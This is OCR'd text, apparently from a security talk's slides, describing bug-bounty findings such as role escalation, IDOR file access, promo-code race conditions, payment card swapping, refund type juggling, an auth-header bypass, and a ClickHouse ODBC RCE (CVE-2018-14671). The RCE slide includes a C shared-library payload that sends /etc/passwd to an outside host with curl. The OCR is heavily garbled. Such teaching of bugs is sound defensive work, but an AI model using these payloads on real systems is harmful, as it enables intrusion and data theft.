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Broken Access Control
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Owner

H
Administrator

H
Operator
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POST /api/vl/create user

{

"role" :"operator",
"number" :"+/711111111",
"name" : “userl123",
"email":“test@test.com"

b



) Security &2

POST /api/vl/create user

{

"role" :"operator",
"number" :"+/711111111",
"name" : “user123",
"email": “test@test.com"

b

POST /api/vl/create user

{

"role": “owner",
"number" :"+/711111111",
"name" : “user123",
"email": “test@test.com"

b



User 3
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Share Files A

Uppond Your lo

Hamre you tome

- /==




POST /export/?method=to ext storage
HTTP/1.1

service=ext storage& ...
&photos=["example.jpg" |& ...
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POST /export/”?method=to social HITP/1.1

service=ext storage& ...
&photos=[“<victim id>:/Password.txt"]& ..

) Security &2



POST /export/”?method=to social HITP/1.1

SSSSS B
WITH + 0

UsSER’S EMiL ADDRI.
Dl Giaws )
service=ext _storage& .. Y e

&photos=[ “uuid-fefefe:/Password.txt"]& ..
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Recommendations

* OpenAPI
» Test-cases(?)
» Custom declarative policy

scheme
 OPA
e Zanzibar
Auth best Airbnb
practices /ANZIBAR

) Security &2



m? : q

T L4l




[ ] [ ]
POST /api/get daily promo °Mo<P=° P
gl 507
. b pesis Yoatireneacatigics evenupfie enemud peotyd smanociud athi exustioe.kswnd itrell a
o060 © vomaublar nomitin anodiosteng atmlon, oe ponsticttaanide, poEaloay e

mecatisatcatnce,
retarcsiudr,

ord thia

“param" :"promol12348" -. 20%
{'p p ) 8% % <070
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Leaih Gore Dnne Showr Slorfig

[ [
POST /api/get daily promo °Mo<P=° P
ol S8
r. 900 BOSKES Yoatineheacatigics evenpfie enamud peotyd smenciud athi ooxustioe.kswnd itnell a
o000 O voimaublar nomtim anociosteng atmlon, oe porostictiaasi de, poEaloay ac

macatisatcatncr,
retarcsiudr,

ord thia

“param" :"promol2348" I |20% || 20%
{'p p ) 8% % <07

SELECT promo id from discounts where user id = “123” and
promo_campaign = “xyz”
if !(result != 0) {

new_promo_id = gen _promo_id( xvyz7)

INSERT INTO discounts VALUES (new promo id, 1237 ,"xyz")

O Security &2



POST /apl/get_dall V_promo
¢¢ h
{ param" :"promol2348"} F
SELECT promo id from discounts where user id = "123” and

promo_campaign “xyz”
if !(result != 0) {
new_promo_id = gen_promo_id( xvz’)
INSERT INTO discounts VALUES (new promo id,” 1237 ,"xyz")

O Security &2
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oy

§ uon,\\srlLud\cicsete\a.orm_c\7\

- BETE DONTE Shopping sstie.
¢  BEfSE RGTE

WENT BCLUOS RICONES CONMER

EOST./api/promocode
ookle: sessid=sessid 1

{llCOde” : ”SeCI‘etPROMO id_”}

O Security &



POST /api/promocode
Cookie: sessid=sessid 1

{"code":"SecretPROMO_id"}

) Security &2

POST /api/promocode
Cookie: sessid=azazal

{"code":"SecretPROMO_id"}

POST /api/promocode
Cookie: sessid=azaza’

{"code":"SecretPROMO_id"}

POST /api/promocode
Cookie: sessid=azazas

{"code":"SecretPROMO_id"}

POST /api/promocode
Cookie: sessid=azaza4

{"code":"SecretPROMO_id"}



Recommendations

* Transaction & locks
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Client-side verification
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“flow”:

“paraml”: ..
“param2”: ..

“flow”:

“paraml”: ...
(11 b b
param2” . ..

13

13



“flow”: °© ",

“paraml”: .., ..I........’
“param2”: ...,
— 00
J

\_4
TONbKO ONMNNIATHbLIU PJIOY

{

“flow”: ° ",

“paraml”: ...,
(13 2 ”»
param2”: ...,
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* [lepcoHanbHble Lenn
personal_no_payment_flow

- J[locTaBKa OT coceHero cepsuca
delivery__flow

 TalHbIN CaHTa
personal_no_payment_flow
only_payment_flow
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“flow”:

“no_payment flow”, '
“paraml”: ...,
“param2”: .., l

O Security &2



49
1%
521
52
53
54

if (!flow version) {
tlow wversion =

strategy.CalculateFlowVersion(cart, promocode source, context);
auto calculated flow version =

strategy.CalculateFlowVersion{cart, promocode source, context);

if (!flow _version.has _value()) {

tlow version = calculated ftlow wversion;

I else if (flow version-»value != calculated flow version.value) {

O Security &2



Business specific bugs
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bind card

R
ey

“card id”:
“Xyz-gpay-abcl1111222”
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card_check >
o0

createorder I l
o0

T >y B

order cycle payment cycle PAYMENT API

“card_id”: “xyz-gpay-abc1111222”
b

O Security &2



Y
S

createorder Unbound card error
‘Y X Y CY X
]
— B
— B > <
ﬁ
order cycle payment cycle PAYMENT API
{
“card_id”: “xyz-gpay-abc222333”
¥
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Y

createorder U Many different 500
errors

=— ) PR

\.IIIIIIIIIIIIIIIIIIIII"

order cycle payment cycle PAYMENT AP
{
“card_id”: “xyz-invalid-
1230° :L> HI*(O)*IINUGB&*(dfhoeidfhwoif029ru2039r
u2-3r -=9sdopvjwpdvijo8uyr20r

fjdodfmwepfviwpfwf IUH(*C%@ER_@RFDOVM: DLVM) (U#@$
RO#@KMFPOEF . iMEP04234DWFMVKDWNCMgwe juk890891 FWg
weE JRFqwPOEWEdwIRWEOPIJRPWEIJRIWEFOINWEOIFN | OW+_
)+(&SDC2Ssadcfwet3223144tt3’ LkjcOwI7r2kN*23D, F9
D’ SDQ-

30R2R’CSDC\1243890\\12341@#$9234=NFOWEI*Y*@#R@B

)
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“card_id”:”card_id_ 1~

Createorder
o0
E— —
I
o changepayment
ﬁ _
order cycle

“user_id”:”user_ id”
“card id”:”card_id 2”7

b

) Security &2

payment cycle

PAYMENT API



createorder

— —

WSS hangepayment I B
ﬁ _

order cycle payment cycle PAYMENT API

bR »

“user id”:”session user2 id”

“card id”:”xyz-card id user2”

b
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“card _id”:”card_id_ 1" 10% cashback

createorder
X 0 (X
[ —
I
WSS hangepayment I B
ﬁ _
order cycle payment cycle PAYMENT API
L | |
user _1id": 'user_ id 0% cashback

“card id”:”card_id 2”

b

© Security &&=



DBaaS service RCE
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ClickHouse >

SELECT FROM odbc( 'DSN=mysglconn’, 'test', 'test'

https://clickhouse.com/docs/en/sql-reference/table-
functions/odbc

O Security &2


https://clickhouse.com/docs/en/sql-reference/table-functions/odbc
https://clickhouse.com/docs/en/sql-reference/table-functions/odbc

ClickHouse

driver = _ pet attribute_value( &con_struct, "DRIVER" );
it { driver )

1

fu

if ( 1ib name[ @ ] = "\@" ) {

strcpy{ lib_name, driver };

 Security ]l


https://clickhouse.com/docs/en/sql-reference/table-functions/odbc
https://clickhouse.com/docs/en/sql-reference/table-functions/odbc

ClickHouse

SELECT FROM
‘Driver=/var/path/on/server/to/
my driver.so’, 'test', 'test’

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

__attribute_((constructor))

void loadMsg() {

int status = system('"sh -c 'curl http://myserver.com/ cat
/etc/passwd | baseb64 -w 0 ' 7);

b

O Security &2

[.]odbc.imi

The contents of the odbc 11 files are a
odbcinst, or a text editor. A sample entr

[PostgresQL]
Description
Driver

Trace
TraceFile
Database
Servername
UserName
Password

Port

Protocol
ReadOnly
RowVersioning
ShowSystemTables
ShowOidColumn
FakeQidIndex
ConnSettings

Test to Postg
PostgresQL
Yes

=ql.log

nick
localhost

5432
6.4
Mo
Mo
Mo
Mo
Mo

odbcinst -i -5 -f template file

The Driver line 1s used to match the [se
root access to setup anvthing in /etc (le

[PostgreSQL]
Description
Driver

Trace
TraceFile
Database
Servername
UserfName
Pas=zword

Port

Protocol
ReadOnly
RowVersioning
ShowSystemTables
ShowlidColumn
FakeOidIndex
ConnSettings

Te=t to Postg
fusrflocal/li
Yes

sgl.log

nick
localhost

5432
6.4
Mo
Mo
Mo
Mo
Mo



ClickHouse >

CREATE TABLE (name UInt8)
ENGINE=File(RowBinary)

INSERT INTO %s FORMAT Values (),(),()
SELECT * FROM

('Driver=/var/lib/clickhouse/data/database
name/my table /data.RowBinary', 'blah’

O Security &2



([} CVE-2018-14671

ClickHouse >

CREATE TABLE (name UInt8)
ENGINE=File(RowBinary)

INSERT INTO %s FORMAT Values (),(),()
SELECT * FROM

('Driver=/var/lib/clickhouse/data/database
name/my_ table /data.RowBinary', 'blah'

O Security &2



Type juggling in support interface

E

support

V4 N\

o0
E
user chat_service support_interface

O Security &2



Type juggling in support interface

>
amount = value from db.get(“amount”) POST /create_refund_for_user
refund = req.body.refund
if (amount < refund)
{
send_response( “refund larger than {"order":“order id",

;mount”) “refund”: 12345}
else
{

refund to card(order, parsefloat(refund))

send_response( "you are awesome”) " ”
) refund larger than amount

O Security &2



Type juggling in support interface

The comparison x < ), where x and y are values, produces true, false, or undefined (which indicates that at
least one operand is NaN). In addition to x and y the algorithm takes a Boolean flag named LefiFirst as a
parameter. The flag is used to control the order in which operations with potentially visible side-effects are
performed upon x and y. It is necessary because ECMAScript specifies left to right evaluation of expressions.
The default value of LefiFirst is true and indicates that the x parameter corresponds to an expression that
occurs to the left of the y parameter’s corresponding expression. If LefiFirst is false, the reverse is the case and

amount = Vd .L ue — f rom_db . g et ( ’ amount 7 ) operations must be performed upon y before x. Such a comparison is performed as follows:
re fU.nd = Ie q . bOdy . I'e fun d. 1. If the LeftFirst flag is true, then

. a. Let px be the result of calling ToPrimitive(x, hint Number).
1 f ( amOU.TTt < re f un d) b. Let py be the result of calling ToPrimitive(y, hint Number).
2. Else the order of evaluation needs to be reversed to preserve left to right evaluation
{ a. Let py be the result of calling ToPrimitive(y, hint Number).
b. Let px be the result of calling ToPrimitive(x, hint Number).

SEN d'_ e Spon SE ( re fun d 1’ d rg er th dn 3. If it is not the case that both Type(px) is String and Type(py) is String, then

amoun t ”» ) a. Let nx be the result of calling ToNumber(px). Because px and py are primitive values evaluation
order is not important.
} b. Let ny be the result of calling ToNumber({py).
c. If nx is NaN, return undefined.
e 'L se d. If ny is NaN, return undefined.
e. If nx and ny are the same Number value, return false.
{ f. If nx is +0 and ny is -0, return false.

g If nx is —0 and ny is +0, return false.

refund to card(order, parsefloat(refund) h. If nx is +0, return false.

» v i. If ny is +00, return true.
send_response( you are awesome’ ) j. If ny is —<0, return false
- k. If nx is —00, return true.
} 1. If the mathematical value of nx is less than the mathematical value of ny —note that these
mathematical values are both finite and not both zero—return true. Otherwise, return false.
4. Else, both px and py are Strings

a. If py is a prefix of px, return false. (A String value p is a prefix of String value g if g can be the result
of concatenating p and some other String r. Note that any String is a prefix of itself, because r may be
the empty String.)

b. If px is a prefix of py, return true.

c. Let k be the smallest nonnegative integer such that the character at position & within px is different
from the character at position k within py. (There must be such a k, for neither String is a prefix of
the other)

d. Let m be the integer that is the code unit value for the character at position k within px.

e. Let n be the integer that is the code unit value for the character at position k within py.

o Security wl'! o f. If m < n, return true. Otherwise, return false.

AOTE 1 4oy 2 Aifffare B cterny 7 31 the aloarithay Fare the addirian aneratnarer £ M1 8617 i viedihar and



Type juggling in support interface
S

amount = value_from_db.get("amount”) POST /create refund for user

refund = req.body.refund
if (amount < refund) <- false

{
sengl_response(“refund larger than {“order" . “order id*,

amount”) cc » -
\ refund” :
else “123456789.11tsttesttest” }
{

refund to card(order, parsefloat(refund))

send_response( "you are awesome”) “ ”
Y yoOu are awesome

) Security &2



Recommendations

* no self id’s in requests
* input validation

* check external services/libraries
* sdl

) Security &2
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Auth bypass



Cookie,
Authorization,
Custom_ Header

D

O Security &2

Auth_proxy

-~

Headerl: yet another id
Header2: phone_ id 00
Header3: user_id

/ |

\ 1\



Old flows SSO users

/

users

O Security &2



1 h
/vl/launc OK, {v_user _id, authorized=false}

l

‘ ~— . /vl/auth , {v_user_id, phone_alice}
OK

/vl/authconfirm {v_user id, code}
{user id, authorized=true}

li1

/v1l/launch {user id, authorized=true}

_=—

O Security @@

Auth_proxy

Auth_proxy

S

User-Phone:
phone _alice
User-ID: user id

User-Phone:
phone_bob
User-ID: user id



New_reg of
old user

Old_user

SSO_user

custom id authorized telephone Dy
v_blablabla...l |[false +/7923123999
afefefef...2 true +/799999999
afefefetf...5 true +/811225535

) Security &2



blabla: :Headers bool blabla::IsAuthorized( ) const §>

AddSpecificHeaders(bool authorized, if (sso_user) return true;
const User& user, ... ...) if (authorizedwith _old_user()) return
{ true;

return false;

by

if (authorized) {
if (luser.IsVUser()) {
if (user.phone_id) {

headers[ "User-Phone"] =
user.phone_id->ToString();

return headers;

) Security &2



Cookie,
Authorization,
Custom_Header

/vl/launch/auth

S

/vl/auth , {user _1id, phone_alice}

S

/v3/get _history

.

) Security &2

Auth_proxy

SSO-ID: sso id
User-Phone: phone alice
User-ID: user_ id



Blabla: :Headers AddSpecificHeaders(bool authorized, const User& user,

)

if (authorized) {
if (luser.IsVUser()) {
if (user.phone_id) {
if (user.authorized) ({

headers["User-Phone" ]=user.phone_1id->ToString();

return headers;

) Security &2



Recommendations

* SDL

) Security &2



Special thanks

@lvan_IGC /y.0.bug

(@buglloc & @luc-lynx CH CVE-2018-14671
(@sorokinpf type juggling in wind
Solidlab free order in service

and bughunters
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https://vandex.ru/bugbounty
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https://yandex.ru/bugbounty

Bonpochbi
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